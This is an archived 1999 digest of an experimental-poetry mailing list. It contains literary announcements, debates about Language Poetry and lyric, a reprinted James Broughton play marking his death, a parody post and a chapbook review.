Jean Day, "The baby wore an expression of concern . . . / and where do you come from?"

Charles Bernstein, "Speed the Movie or Speed the Brand Name or Aren't You the Kind that Tells"

Gregg Biglieri on Lisa Samuels

Alystyre Julian on Lee Ann Brown

Lytle Shaw, "On Coterie"

Lewis Warsh on Fanny Howe

Art Projects:

Emily McVarish, "Lives and Property"

Anthony Discenza and Torsten Burns, "Halflifers Transcription One: Control Corridor"

Mark Shepard, "Industrial Pilz"

Linda Geary, "Untitled"

Emilie Clark, "Classification Scheme .O999"

Julie Harrison and Brigid McLeer, "A Response to If it Rained Here"

Tony Gray, "Untitled"

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205. **Garrett Kalleberg**
Naturalism - TF10
Thu 20 May 1999

Naturalism

http://www.morningred.com/friend/1999/05/cover.html

The Transcendental Friend
Issue No. 10, May 1999

Namely.

The nature of force, the force of "the natural."
An unnatural act.
The true and inescapably evil nature of the serpent.
The nature of the review as form.
Empathetic nature.

New work by Emilie Clark, Lytle Shaw and Heather Ramsdell ("Wildness"); Yoko Tawada translated by Susan Bernofsky ("Raisin Eyes"); Jesse Glass ("of snakes"); Dan Machlin ("Review as Form"); and Zhang Er translated by Susan Schultz ("The Autumn of GuYao").

And this much for the ill condition, which man by meer Nature is actually placed in; though with the possibility to come out of it, consisting partly in the Passions, partly in his Reason. (Thomas Hobbes.)

Garrett Kalleberg
mailto:[redacted]

The Transcendental Friend can be found at:
http://www.morningred.com/friend

Immanent Audio Online at:
http://www.morningred.com/immanentaudio

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206. Alan Sondheim

Nikuko:

Thu 20 May 1999

\

Nikuko:

Nikuko: Nikuko: Nikuko: Cool, there are times I hunger to see you. But to begin, a Nikuko: discourse, on exile. Mountains, shrines, Nakasukawabata, Nikuko: continue to haunt me. I am bound by the name. Streams. What is Nikuko: the moment of meditation. Lasting, until the body bends. Nikuko: Double-clapping; there are so many gods they forget my face. Nikuko: Or the dancing, gestures, movement of the double balls at the Nikuko: matsuri. There are lines and threads across this earth, Nikuko: forgotten. Demarcations of areas, bounded, which empty me Nikuko: internally. What is not lost, moment

of a vast gone world. The Nikuko: gods gather in great whirlwinds; they approach a coast and are Nikuko: turned back. They live with the turning. They gather at the Nikuko: boundary and look across. They see whatever may be absent but Nikuko: it is beyond their reach; they have no arms and legs and their Nikuko: voices do not carry them farther. Vast cataclysms of orange Nikuko: energy sweep from their hungry faces. They speak unknown Nikuko: languages and even I do not know their languages. I did not Nikuko: know nor ask why they are gods. Now there are questions framed Nikuko: by the whirlwind and the boundary. The sky here has no energy. Nikuko: Or rather is all energy, parceled by lines determined by a Nikuko: metric space. It is spectral blue. Sometimes at night arms and Nikuko: legs of kami push out through my skin, distort me. Painful Nikuko: partial births; in the morning I look and see nothing Nikuko: emerges. I would turn and turn and wind the thread. I stare Nikuko: into a space I can only see as schizophrenic. I would divide Nikuko: and turn into an other traveler. She would come with me, arms Nikuko: and legs in arms and legs, her head in my head, her womb in Nikuko: mine, body and body, mind and mind. At night she seems real. Nikuko: The gods gather and look around but they can't see that Nikuko: far. There are mists and whirlpools, enormous storms at the Nikuko: boundary. Whatever they murmur, truth and magic, I cannot hear Nikuko: clearly. I speak and speak and nothing happens. That is the Nikuko: truth of exile - the speaking, nothing happens. Nikuko: Nikuko: Nikuko: Nikuko: Nikuko: Everywhere that I will be, there I will listen to you, O Nikuko: Gods. Always the texts to be read, forwards and backwards. Nikuko: Always the application of formula. The words pour over me. I Nikuko: will always belong to the beginnings of hermeneutics; I am Nikuko: always exiled from speech, from language. Interpretation is Nikuko: exile's result. Once I did rend myself by the waters of Nikuko: Babylon; now it is the rivers through Fukuoka that gather my Nikuko: tears. I am always already at a loss; it is the loss of the Nikuko: world, the dull lid of the night collapsed and soldered hard Nikuko: to the exigencies of the real. This hard earth, here, does not Nikuko: support me. Memory cannot move among the truth of threads Nikuko: connecting one to another. Not every space has a home. There Nikuko: are spaces that cry, spaces that weep, spaces that mourn. My Nikuko: spaces mourn; I listen to my spaces crying and weeping. I Nikuko: repeat the texts, magic. The formula are useless, gods Nikuko: suspended in the whirlwind. Every line spoken, here, for Nikuko: you. I can't understand your replies. Give me a ticket to Nikuko: Kyushu. I will fill my belly and give birth to many dolls. Nikuko: Nikuko: Nikuko: Nikuko: Nikuko: Nikuko: Nikuko: Ein Zeichen sind wir, deutungslos Nikuko: Schmerzlos sind wir und haben fast Nikuko: Die Sprache in der Fremde verloren. Nikuko: Nikuko: Nikuko: Nikuko: Nikuko: Nikuko: Now I am very tired and I will put my sleepy head on this very Nikuko: nice pillow, so downy and comforting, and I will play pleasing Nikuko: music

and my lights are very low. And I can hardly hear the Nikuko: traffic outside, there is the sound of shrine bells somewhere Nikuko: in the distance, and I wake up, and there is the sound of Nikuko: traffic outside and there are church bells disturbing my tiny Nikuko: sleep, and I wake up, and there is the sound of traffic and Nikuko: the sound of a muezzin chanting. My lovely sleepy head is so Nikuko: very restless, it is the head of a refugee, it moves from soft Nikuko: place to soft place and I am so glad it is not a war but the Nikuko: sound of temple bells, and I will have a wonderful place to Nikuko: sleep tonight, and I wake up, and I am so snuggly warm, and I Nikuko: love your language, and I fall back asleep "for just another Nikuko: minute." Nikuko: Nikuko: Nikuko: Nikuko: Nikuko: Nikuko: Nikuko: I am a picture and a frame which is the picture, and now I am Nikuko: another picture and another frame; this is a film story of my Nikuko: life and I am another picture. I speak here and then Nikuko: I speak here and you can follow me speaking through time after Nikuko: time but I am to be your shadow in this speaking. And now I Nikuko: will tell you as well I am a shadow and you see my projection Nikuko: and your project. And now you will understand that there is a Nikuko: voice behind me and a voice beneath me; that there is a woman Nikuko: behind me and a woman beneath me; that there is a frame behind Nikuko: me and a frame beneath me. And this is the frame which is the Nikuko: film and you will have this film while "I am not those among Nikuko: them who are there to be counted," nor am I "one of those who Nikuko: shall remain unaccounted," nor further, "one of those who Nikuko: remain unaccounted for," you will have this in order, as I am Nikuko: a picture and a frame and now I am saying this and now I am Nikuko: saying this. For "I shall remain unaccountable," and "a Nikuko: presence in your midst," and "you shall not hear the voice of Nikuko: the prophet," and "there is a gift of the letters." Nikuko: Nikuko: Nikuko: Nikuko: Nikuko: Nikuko: Nikuko: Cool, all that has been named, plagiarized, I'll speak through Nikuko: yet another one, you might know her name, I'll keep it silent Nikuko: like the bell is silent in the whirlwind. O Gods, recompense Nikuko: in silence, your clatter, furious, hard put against the sea. Nikuko: What is wine-dark, dark as well with blood, horse waves broken Nikuko: against wood pegged into wood, shrines speared into red-brown Nikuko: earth. What would be a spell, catenary bent into born words, Nikuko: formula, you crawl upon me, your claws into me, your teeth Nikuko: into me, your nails, your bright bright eyes. Turn me towards Nikuko: your scales, return me back to birth where bone are found. Nikuko: Cool, that names are found. From my wounds, threads. From the Nikuko: threads, symbols, kanji, spaces burned with numbers. What has Nikuko: been told to you from my eternal death. You would know fire, Nikuko: tornado; you would know furious avalanche, violence of the Nikuko: wind. Bead-worlds strung on wound-threads, many thousand Nikuko: thousand year. Earths moan for me; planets pray for me; worlds Nikuko: stitch and open wounds. I am your

maw, slashed upon sword; you Nikuko: dance your stupid dance, I'll come out of the cave, grab you, Nikuko: you'll have sun again. "Tell me where I am, baby." I can't Nikuko: speak without screaming songs. Nikuko: Nikuko: Nikuko: Nikuko: Nikuko:

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207. Erika Stephens
Long response to Jacques
Thu 20 May 1999

This is Mark Prejsnar; (our new home account has only Erika's name on it; which causes some confusion...)

I think Jacques Debrot's recent interventions attempt to strike a useful balance, regarding some of the preceding exchanges. He is wrong on a number of points, though:

Regarding Standard's interesting essay in Rhizome 3, he writes:

"Standard's attitude toward Language Poetry, far from attempting a degree of objectivity or dispassion is clearly *interested*, and reveals the Oedipal anxieties that are a very familiar pattern in inter-generational conflicts for predominance -- but after all he is only as unfair to the Language Poets as they were to their precursors."

Now i'm sorry, but this is just plain silly. Unlike the important polemics of the 1970s, SS's piece says *nothing* helpful or accurate about the older poets he wants to dis... His primary rant, is that they have "seized power," by dishonestly manipulating left-leaning theory and polemics. I think (and hope) that most Listmembers realize that Silliman and Bernstein and Hejinian and Scalapino do not "hold power".. That simply suggests how defensive and out-of-touch Standard is. Hell, Robert Pinsky, the FDR of mediocre laureates (going beyond traditional term limits, ya know) holds damn little POWER. Poets, like say jazz musicians, are really not part of a *power structure* in any meaningful sense. SS is mainly having problems with ressentiment, as is indicated by phrases like "Marjorie Perloff and her cronies." As someone who is not nearly important enuff to be part of Standard's target group, i'd like to testify from the sidelines that this is uh, sad. And sure not appropriate to a poet and editor who has done the fine stuff SS has in the past. As many jazz musicians of my acquaintance do, i think poets should have a more collegial and comradely tone, than is contained in petty factionalism such as SS's piece projects. Like them we're part of a subculture that doesn't get many resources allocated to it... We'll flourish best thru mutual aid.

Another of Jacques's remarks:

"However, to the extent that Language Poetry made the attempt to "talk back to power" a central -- the central? -- aspect of their aesthetic, it certainly seems more than fair to point out the compromises, blind spots, and hypocrisies in their negotations with institutional priviledge. It's not quite good enough for them simply to agonize over the extent to which they now participate in reproducing relations of prestige, etc. when such questions, owing to the premises from which Language Poetry develped, are *uniquely relevant* to the work itself --"

Well here we need a major statement (and i'm not being facetious) analyzing what these compromises, blind spots and hypocrisies are. Clearly JD is throwing in here with SS's "Perloff cronies siezing power" thing. Just WHAT are these two talking about?? can SOMEONE possibly elucidate what they think they are saying?? Are Silliman and Perelman and Bernstein guilty of this rather lurid and extreme series of misdeeds, because they have *taught in universities* ?? Because they have five or six books (out of many dozens) that were published by university presses?? Because they have been mentioned in the NYT Book Review more times than Standard?? (a total of 7 or 8, i'd guess, over quite a few years). I have no personal stake in the public image of the poets Standard and Jacques are accusing of compromises, blind spots, hyposcrisy, "relations of prestige" (now just what is that??)---i have never met any of 'em, and seldom spoken with them over e-mail. It just seems to me that SS and JD are badly confused about values and about reality. If they could put a tenth of this invective into weakening the capitalism fee-market system and other structures of *really* hurtful power, we would all have moved appreciably closer to the promised land, that's fer sure!

Finally: "It seems obvious for example that, as a result of their critique of the mediated & conventional character of passional language, the Language Poets made a wide range of aesthetic experience unavailable to experimental writing."

Now here Jacques makes an interesting point. But obviously the load of defensive rhetoric toward the poets of the last 30 years is just an inappropriate response...As is the absurd phrasing: no one has made anything "unavailable." If this is a problem for JD, he knows what to do: make his mark by rev'ing up the ol' computer and spinning out some passional writing. Koch said to Ashbury (if i have the well-known anecdote right) not to be upset at all the strong writing coming out in mags: "more for us to steal!" To skew the joke somewhat, if older poets have made something underappreciated or underutilized, then for Jacques the obvious point of view should be "more for me to set right in my own work!"

Also take it from me: drop this "experimental" crap. If you think yer writing is just writing, you might find it easier to start gettin' "passional"... Just a personal peeve.

passionally,
Mark Prejsnar
@lanta

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208. Michael Scharf
Music of Changes
Thu 20 May 1999

Does anyone have a recording of David Tudor playing Cage's Music of Changes? I'd be much obliged, and of course cover expenses, if I could get a hold of a cassette. Did Tudor even record the piece? Can't find it.

I ask re: a Some Trees project. I have the 80s Wergo recording with Herbert Henck at the keys, but it sounds, well, kind of Teutonic.

Backchannel?

Thanks -Mike

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209. travmar03
Fw: Highwire
Thu 20 May 1999

Please put the following message out on the (virtual) wire to whomever you think will be tittillated, tantalized, and tickled to see two poets pull out all the stops. See poisioned apples, exploding cheesesteaks, asthma causing summer air, and some of the most exciting poetry in the Northeast Corridor today.

Battle of the Experimental Press Editors

Katy Lederer
Editor of Explosive
and
Michael Magee
Editor of Combo

will read at Highwire Gallery
8 PM
Saturday May 29, 1999
139 North Second Street

Philadelphia
BYOB

↑ Index

210. **dbkk**
Death of James Broughton
Thu 20 May 1999

Hi it's Kevin Killian. Poetics List has probably heard the news, but the poet and filmmaker James Broughton, one of the original "New American Poets," died in Port Townsend WA at age 85 on Monday May 17.

He could be a bit acerbic and he was kind of a nut about "joy" this and "joy" that but oh, I'll miss him. Dodie and I got him to dig out his long-ago "Maidens" play which I had heard about doing research into the Spicer book, and we printed it in our zine about 2 years ago, here it is again for those who didn't it

MISSION to GOMORRAH

This play was especially written to amuse poet friends
and was performed by them for the first time in April 1958.

Rowena Monkenberg Helen Adam
Mrs. Lily Trump Eve Triem
Flippety Dick Jess
Major Beatrice Madeline Gleason
Dr. Agon Robert Duncan

[Scene: a desert. Enter ROWENA MONKENBERG in a flowing gown, Mrs. LILY TRUMP in a cocktail dress, and FLIPPETY DICK in shorts.]

ROWENA. I see no city ahead.
Charred sand for endless miles.
No distant mountain. Not even a lizard.
How will we survive across this wasteland?

LILY. My feet hurt. I shouldn't have worn so much jewelry.

FLIP. When in doubt, wiggle less and breathe more!

ROWENA. This heat shrivels my Scottish bones.
The only water is this stinking green pond.

FLIP. Before using internally, or any other way,
see if your solution needs a good shake.

ROWENA. I hate you, Mr. Flippety Dick!
I can't forgive you for ruining the picnic.
Why did you kill that adorable tarantula?

FLIP. I will kill, and I will make to live.
I am the Dance of Shiva!

LILY. My friend Mrs. Pines, Mrs. Dora Pines,
saved string in boxes for forty-one years.
One morning she opened them all up
and hung herself.

ROWENA. O, the ugly passions of mankind, they poison me!

LILY. Dora Pines couldn't stand it,
the endless humdrumming next door,
not another minute.

FLIP. This is a poor excuse for a desert.
Where are the saints? Where are the slot machines?

LILY. Are we really on the right road to Gomorrah?

ROWENA. The last signpost said: Nirvana 25,000 miles.

LILY. I didn't want to come on this expedition.
But the Major is so determined.
Determined to establish her colony on sacred ground.
What are she and the doctor doing?

ROWENA (looking off).

The beasts! They're swatting!
They're swatting the tsetse flies!

FLIP. That sphinx we just passed in the sand-
I asked her a riddle.

LILY. Why do you talk to every girl you see?
You're just trying to break my heart.
Even my husband is more thoughtful of me than you are.

FLIP. Said I to the Sphinx, said I:
What is it that is born in a vacuum
lives in an air-conditioner
and dies in a doldrum?

LILY. I give up!

FLIP. Said the Sphinx to me, said the Sphinx:
'You gaseous lump,
how dare you ask me riddles!"
said the Sphinx to me.

LILY. The minx!

ROWENA (singing to herself).

So comely Maud has gone to her grave
for the sorry love of a sailor.
She hanged herself on the blackthorn bough
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Her cat of black, her golden finch
are friendless, left to grieve her.
And her Johnny Boy of the seven seas
is still a gay deceiver.

LILY. Flippety dear, I wish we were back in
that dark cocktail lounge, sitting on that soft divan
with plenty of that hard liquor.

FLIP. All the girls I dream of
have names beginning with Ann.
Anima, Anemia, Angina, Anesthesia . . .

LILY (sighing).

O Man, where is thy sting?

SLIP (suddenly passionate).

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Like lions of love lived they
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in the bedfellow Eden of Man.

[Enter MAJOR BEATRICE, followed by DOCTOR AGON. She is wearing mountaineering outfit, he is in mourning.]

MAJOR B. No, doctor, no! I haven't time to kiss you!
We are on a pilgrimage.
I need your science by my side,
not your whiskers in my face.
We must persist, or we are undone.

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The Wheel never breaks, the break never heals.

MAJOR B. I have a mission. Don't you?
Doesn't everybody have a mission?

Don't you believe that sublime affirmations
shine in the dark heart of the world?

DR. A. Beyond this emptiness is there any bright oasis?
Are Truth, Beauty, and Goodness
ever found where we look for them?

LILY. Major, I'm thirsty. Where are we?

MAJOR B. We're not there yet.

ROWENA. There's a salty smell. Mightn't Gomorrah be near?

DR. A. Sand. A pond of stinking water. A tombstone.
Looks like the kingdom of Ozymandias.

FLIP. Is hell even hotter than this?

MAJOR B. 'Thus saith the Lord,
the people which were left of the sword
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when he tries to save himself from drowning
he cuts his throat with his own sharp hooves.

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That dear little pig! You're a beast!

MAJOR B. Take heart, my brave pilgrims.
The first condition is:
make yourself humble as dust and ashes.

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If I were not entranced by the tip of your nose,
I would be back home in my Guatemalan hammock.

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my husband kept the cow in the bathtub.
He still keeps his tools in it.

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Here's my card.

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LILY. There's a lot of it going around.

ROWENA. There's something wrong with the stars.

DR. A. There isn't any cure.

MAJOR B. There has to be!

FLIP (singsong).

Sippety syrupy sob,
the corn is off the cob.
Baba Yaga going gaga
cut off the balls of Bob.

[ROWENA shrieks.]

LILY. Falling, falling . . .

DR. A. The rain it raineth every day.

MAJOR B. Where falls the heavenly dew, to lave
the soiled black body in the grave?

LILY. Destruction!

ROWENA. Damnation!

FLIP. Disfigurement . . .

MAJOR B (beginning a blues song, which the others join).

It's gotten out of hand
It's coming down all around
It's falling out all over me,
I've got those radioactive, feeling inactive,
feverish fallout blues!

DR. A. My burning baby . . . .

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but not from Heaven.
It's just coming down on me.

DR. A. . . . and me . . .

ALL. All over us! It's scandal-ous!

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DR. A. and MAJOR B (singing together).

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I'm falling out of shape
I'm falling out of luck . . .

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FLIP. Out of kilter . . .

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MAJOR B. I've got those unattractive, overly active, damn hot fallout blues!

[End of song.]

FLIP (spoken).

I'm sick.

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DR. A. Death is the thing we carry in our hands.

LILY. Death is the thing I see in my mirror.

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MAJOR B. Take heart again, my pilgrims.
You have been humbled enough by dust and ashes.
Now arise. Rise to the uplift stair!
We have longer to go in the shortest of time
and there's no way out but up!

DR. A. How far will the Eternal Feminine
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LILY. Will we get to a nice cocktail lounge?

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This wasteful desert is a passing show.

[She herds them off.]

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<italic>[End of song.]

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<italic>[She herds them off.]

</italic>

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211. Billy Little
responds ability
Thu 20 May 1999

because i am a funny man(forgive me for saying so) and Canadian poetry is some of the funniest poetry every, i thought i'd begin my examination of the

marvelous production, Charles Watts and Ted Byrne and Talon Books have given us, The Recovery of the Public World, Essays on Poetics in Honour of Robin Blaser, with the Peter Quartermain essay The Mind as Frying Pan: Robin Blaser's Humour. Quartermain's main concern is with the sequence of poems The Truth is Laughter, which arises first in the book Syntax, which was in my thinking the book where he became a Canadian Poet, assimilating the powerful writing of Gilbert, Coleman, McCaffery and McFadden and the book where he gave up his perfectionism and jettisoned the residue of fear lingering from the operatic censure of his companions in San Francisco and began to let the poems flow through him without elaborate tinkering. I remember visiting Duncan soon after the launch of Syntax and saying Robin's finally said farewell to the poetry engraved in stone and Robert rightly saying: Is that what he said, or what you said." I had to laugh, he caught me. Quartermain says: The main drift of my argument is very simple indeed and really quite obvious. It goes like this: that Blaser is a very funny man, blessed (cursed) with great wit, a great sense of mischief, and a great outrage. That it is precisely through humour, through laughter(closely related as it is to the cough), that two realms can meet in this, the only world we've got. And the realms? the realm of the body, where as Allen Ginsberg reminds us we are simply meat talking to meat; and the realm of the spirit, also known as the world of the imagination, as deeply rooted into our historicised meat as is our body itself. Laughter--like other syncopes and interruptions of the breath such as the stutter--dissolves the dualisms of body and spirit, body and imagination, body and mind. An interjection of the body, laughter(like the cough) "shocks the cognitive apparatus in its brute reminder of organic experience"(Appelbaum,8), "deprives the body of its obedience to the mind"(Clement, 7) Laughter affirms our subjection to flesh and thus to time, momentarily negating the mind's life so that --as Blaser's poem puts it--"what's in it is neither true nor false." Laughter is essential to, indeed, quintessential of Blaser's "fundamental struggle for the nature of the real."

I might add if you know Blaser, you know his laugh, his unreserved cackle of delight which i would recognize in the hubbub of Bombay or at the World Series at Yankee Stadium.

Quartermain's essay, like Peter himself, is unassuming and wide-ranging, from the renaissance of Alberti, to the cyberworld of Wired, stopping off en route to collect the thought of Hobbes, Husserl, Pater, Mann, Stein, Williams, and Giorgio Agamben. Makes me sorry i never took a course with Peter. I'm hoping now that he's retired and has the opportunity to dance to his own piping maybe he'll offer one at the Kootenay School of Writing.

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0

canadaddy
[redacted]

↑ Index

212. **Linda Russo**
The Third Voice of Telos
Thu 20 May 1999

> *did you see what Linda Russo had to say about this telos business?*
>
> *yes, shall i read it?*
>
> *sure*
>
> *"Or maybe the 'telic goal' of poetry isn't telic at all, it's anti-telic: to make sure there's no 'no poetry' -- the way that the 'telic goal' of medicine is to stave off death?"*
>
> *well it sounds good but i wonder if simply switching the polarity of our terms is enough to make it an 'anti-telos' - look at her wording; "to make sure there's no 'no poetry'" - can't we cancel the double no and have the following "it's anti-telic: to make sure there's poetry" ? i have trouble seeing this as anti-telic as 'to make sure there is poetry' just as "to make sure there is no 'no poetry'" both sound like goals however general*

I'm not sure, but maybe simply switching the polarity of our terms is a deconstructive move meant to destroy the binary being employed. And to say too that your logic (cancelling the double no) doesn't yield up another 'equal' formulation" no 'no poetry' doesn't = is poetry. Anti-telos does not mean "not telos" but "against telos" -- against the sort of suffocating closure of "making sure there is poetry" -- which sounds an awful lot like Pinsky's project, a canonization which works to the exlusion of certain poetries. . . That's why I prefer to make sure that there's no 'no poetry' . . . sort of like sustainable agriculture. The point isn't to make sure there's food (a quantifiable amount) but to make sure there's no 'no food,' that the potential for food is always there, unquantifiably. To see poetry as a realm of possibility rather than closure.

I think it's wonderfully rich that as you point out

> *that 'telos' is an ultimate end and 'telic' is NOT - 'having an ultimate end' - but - "tending toward an end"*

telos is an ideal only. it's not a condition that we achieve but 'tend toward'. it's a kind of death, no? Like Pinsky's stupid dead poetry archive, clearly only meant for living people in relation to their impending death, to squelch their fear of inpending doom and insignificance -- get your fifteen seconds of videod fame & then you're history with a little h, your image stashed in some dusty archive

that maybe will survive the nuclear or genetic holocaust & they'll look back on us and say 'look how clever' 'oh how they must have cared so using words' and 'look how many different shapes and sizes they came in.'

so, more or less accurate, your summary, till the end:

> *and i think what she's getting at - or for the sake of argument here and now - i think what ~i'm getting at~ is that - if - there is an 'end' toward which poetry is directed it is as an intervention in a fucked-up world - but that concerning ourselves with an ultimate end isn't of much use - it's the limited ends - the 'this moment' needs that poetry addresses itself to*

limited ends? the this moment needs? sounds like a bandaid video archive. Not preservation but continuance.

↑ Index

213. Linda Russo

*Re: Lyric (s e n t i m e n t a l / *which* lyric ?)*

Thu 20 May 1999

Lowther wrote:
>Annie Finch writes; "I have located a crucial distinction between what i
>call the "romantic" lyric (the I/thou, gaze/gazer, subject/object dichotomy
>where all revolves around the central eye) and what I call the
"sentimental"
>lyric (multivoiced, multiviewpointed, objectifying the speaker as much as
>the outside world)."
>
>and i think the distinction is quite probably useful
>but i wonder at the choice of the term
>
> s e n t i m e n t a l
>
>my wonder tending to channel's like ;
>"who wd want to get saddled with that term?"

An equally puzzling is the idea . . .

> *Useful though this it is [the distinction] --and to my mind, ESSENTIAL in constructing a coherent feminist poetics that spans centuries-- it gets lost next to the glitzier, cruder, and perhaps rather useless distinction between language poetry and lyric tradition.*

What does it mean to construct a coherent feminist poetics that spans centuries? Could you elaborate a little here? A poetics is at a basic level, strategic -- so for centuries, feminists employ the same strategies? implying that

they have the same goal? Coherent implies either 'it all sticks together/agrees' or it's all lucid, as opposed to being oppositional (even from within -- Woolf opposing feminist strategies) or at times confused or incoherent. I'm not sure why such a construction is so useful. It seems very exclusive. The idea that there _is_ an 'outside world,' to pick on one point in your definition, would seem to exclude all sorts of lyrics that don't erect that hurdle. I mean, what's the world 'outside' of? The poem? Language? Experience? And in distinguishing between the Romantic and Sentimental, what of the stuff that doesn't fit? Is it Other, i.e. not lyric? Maybe an unfair question, but, more accurately, why locate *this particular* distinction? (This obviously relates to its value to constructing a coherent feminist poetics).

↑ Index

214. Linda Russo
Re: NOTLEY on "the youth"....
Thu 20 May 1999

Hi Chris & others listening in. I've been thinking about your query re Alice Notley's comments in the COMBO interview ("They're these people between about 23 and 36 . . . They're not very political, and I wish they were more political").

You go on to equate the 'personal' in 'the personal is political' with 'love,' but I think you're mincing here, collapsing the 'personal' and 'love ' and therefore excluding a crucial issue of the very politics that might be at stake. In making a distinction I think I can talk to your query.

The political, and I think this holds for Alice, has always to do with the polis, not in the way that love might, or even in the sense of the potentially volatile issue of who we might choose to love publically, or how. The 'personal,' to be 'political,' has to engage with and be effected by the polis. In the feminist formulation, 'the personal is political' meant primarily that the private, the domestic, the 'female' experience too was _as_ political as the public experience, and it wasn't until the 'personal' experience of women (subjection, misogyny, etc.) were shown to _be_ political, to have everything to do with the workings of the polis, that the women's movement as a _political_ movement, could make any headway.

So the personal has as much to do with anger as it does with love, both overwhelmingly present in Alice's work. So I think when she points out the lack of politicalness, she is addressing the lack of attempting to change 'the way things are' in the polis and in poetry via how one experience power on a 'personal' level. This is evident for example her essay "Epic and Women Poets," which points out that there is something wrong with the polis, with the way it

tells itself stories which exclude the possibility of women’ s stories, and that this has to change. She realizes these ideas in Desamere and Alette. Perhaps that’s what it means to be political: to think (essay) about a problem and try to solve it (poem). Writing essays, editorial matter, and prefaces has always been a part of Alice’s poetic practice. I think she might say that editing _Chicago_ while she was pregnant was a personal _and_ political choice. Maybe _just_ writing poetry, in her mind, isn’t political enough? But maybe the choice to write poetry is always political, but the politics (now) aren't as visible as they were say, in the 70s, when she was in/against the context of the women's movement, and those political issues were heightened.

you write that you're
> interested in looking for other ways to frame this question,
> because i respect and admire notley's poetry,
> and her desire for a return perhaps to a more blatant concern
> with politics on a content level,
> a moving beyond coterie politics,

and perhaps bringing in this context frames it helpfully, I hope?

↑ Index

215. Brian Lucas (Kelly Services Inc)
FW: Angle #5 is Available
Thu 20 May 1999

"The Ronald Johnson Issue"

Featuring work by: Charles Smith, Patrick Monnin, Guy Davenport, Marcella Durand, Patrick Pritchett, Theodore Enslin, Jonathan Williams, Avery E.D. Burns, Peter O'Leary, Adam Cornford, Paul Metcalf, Joel Bettridge, John Taggart, Andrew Schelling, Anonymous

Also: the typescript of one of Johnson's last poems, as well as Peter O'Leary's "translations"
of the poem from the typescript, as well as one other.

Cost: $4 (incl. postage)

Checks payable to: Brian Lucas

Angle
PO Box 220027
Brooklyn, NY 11222-0027

To the contributors: your copies are being sent out this week

Thanks!

↑ Index

216. A H Bramhall
poet lariat
Thu 20 May 1999

ignore the name above, this is Robert Pinsky speaking. I want to thank you all for falling into my telos. you didn't notice my telic grasp because you were busy problematizing your affairs while I went directly to the Love&Fame Market and earned my fare Uptown. the race is on and I am way ahead. sorry to gloat. please accept this stirring message as my attempt to bridge the ever-widening gap:

poetry can only be as good as the people who make it.

friends, we need not be enemies. I think it was William Carlos Williams, the Dr/Poet of Paterson, who said something like: we don't need poetry half as much as poetry needs us. by utilizing all our energies we can make something happen. what do you say, gang, can we work together? we'll leave baseball as the National Pastime while we concentrate on making more great poems for the common good.

sincerely,
R Pinksy, official PL of the US of A.

↑ Index

217. Randy Prunty
Re: Disruption, Parameters etc
Thu 20 May 1999

reread this a couple more times and nothing here to argue with or expand. so, though it may be boring, i agree with the logic and progression of your ideas. the quoted part below charges me up!

<<? but is Lakoff describing a fait accompli or discussing the motivation for a work of art ? has everything really already been done ? how cd this be ? and if it was the case how cd we know ? what wd assuming such to be the case leave us with ? or rather, what use is there for an analysis that says ~the history of art is *arguably* over~ ? wd it remove all anxieties about one's place relative to tradition ? (what if you weren't anxious ? cd you hang onto history then ?)>>

↑ Index

218. **P.Standard Schaefer**
the basics
Thu 20 May 1999

Rhizome, however, is still looking for people to help flesh out the review section for the next issue. Essays or book reviews. Books I'd especially like reviewed would be Aaron Shurin's SELECTED, Jessica Grimm's FRAY, Michael Davidson's THE ARCADES and Jena Osman's highly disruptive THE CHARACTER. Now, obviously there's no fear of controversy in Rhizome. If you got something to say, here's your chance. And if you just want to advocate for a book that you care about, here's your chance. I think there's room for something to be said about Martine Bellen's TALES OF MURASAKI as well.

↑ Index

219. **Billy Little**
Re: Death of James Broughton
Thu 20 May 1999

---

a beautiful man James Broughton, he was America's Cocteau, if you have the opportunity to see any of his movies, pay double they're worth it, Lukas would die of shame to see what beauty James created for so little.

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy
[redacted]

↑ Index

220. **Angela Romagnoli**
Re: POETICS Digest - 18 May 1999 to 19 May 1999 (#1999-97)
Thu 20 May 1999

Can anyone backchannel to me Cole Swenson's email address?
thanks much,
camille roy

↑ Index

221. **Steven Marks**
Review of "26 Islands"
Thu 20 May 1999

---

26 Islands
by Dan Featherston

primitive publications
1706 U Street, #102
Washington, DC 20009
Mary Hilton, Editor
[redacted]
cost: $4.00

Dan Featherston's "26 Islands" is a contemporary abecedarius, a primer which demonstrates far more than the moral instruction and alphabet learning of the traditional model. Put simply, Featherston's 26 verses expose the working out of the relationships between language and the reality of perception, conception and power, especially in a situation where a foreign language supplants a native language. At the same time, he shows how language cannot help but adapt to the consciousness of living on an island, as well as to the events of history. The fourth verse, "D is for Doorways," is a particularly strong evocation of these relationships. Here is the entry in its entirety:

D is for Doorways

like sail's swath, cloud scud & dawn

horizon's first fiction:
circumference.

On an island surrounded by an ocean, we are far more acutely aware of circumference and its instances -- the swath cut by a sail at sea, clouds scudding at the edge of the sky-bowl, and dawn emerging into the frame of now -- all of which happen on a more apparently 360-degree horizon. The horizon seems to mark the farthest extent of what we know, so that what lies beyond is fiction, a doorway to what we don't know, to realities we will express in language. So, horizons make for stories, language-events, fictions. But this circumference is also another type of fiction. The native Hawaiians' reality did not stop at their horizon -- not in their past, not in the years of colonization, not now. This fiction, however, is an accepted reality necessary for the work done under the rubric of "the white man's burden," of colonization. What can an inferior language, composed of what the missionaries deemed as only the five vowels of English and seven of its consonants, express that the 26 letters of the conquering language can say so much better? One of the many ironies in Featherston's chapbook is that it contains an excess of fourteen letters, one of which is the "D" whose entry is cited above. Nevertheless, even within the reality of an alien letter, Hawaii and its first language adhere. This is readily apparent in the sixth entry, "F is for Fathom":

Every picture book shows a hero
suckled by porpoises.

In "fathom"
swarms of teeth & fins.

In this verse, we begin with the European, colonial view in which primers introduce young readers to the heroes of its culture, indeed to a culture (like many) in which heroes, exploration and conquest play a large role. But the next line introduces what could be a native, folkloric element, certainly something more likely to be in the realm of island dwellers and only a story (or fiction) from some place far away to dwellers in European countries. The result is that "fathom," an English word comprised of t's and f's not found in the Hawaiian alphabet, is defined not as a linear measurement of depth, but as "teeth & fins" (t's and f's) native to the islands, without losing any sense of depth and wonder.

This is only a small example of what Featherston's chapbook treats. As a ghostwriter myself until recently of business books, I have some inkling of what it feels to have language stolen from me. What is interesting, as I continue a project in which I cut up and collage the books I ghostwrote, is that I can use the imposed language of supplier certification, quality control and teamwork to decenter itself. In "26 Islands," Featherston shows just how empowering this can feel.

↑ Index

222. Kevin Magee
Re: SUKIE AT THE DIA
Thu 20 May 1999

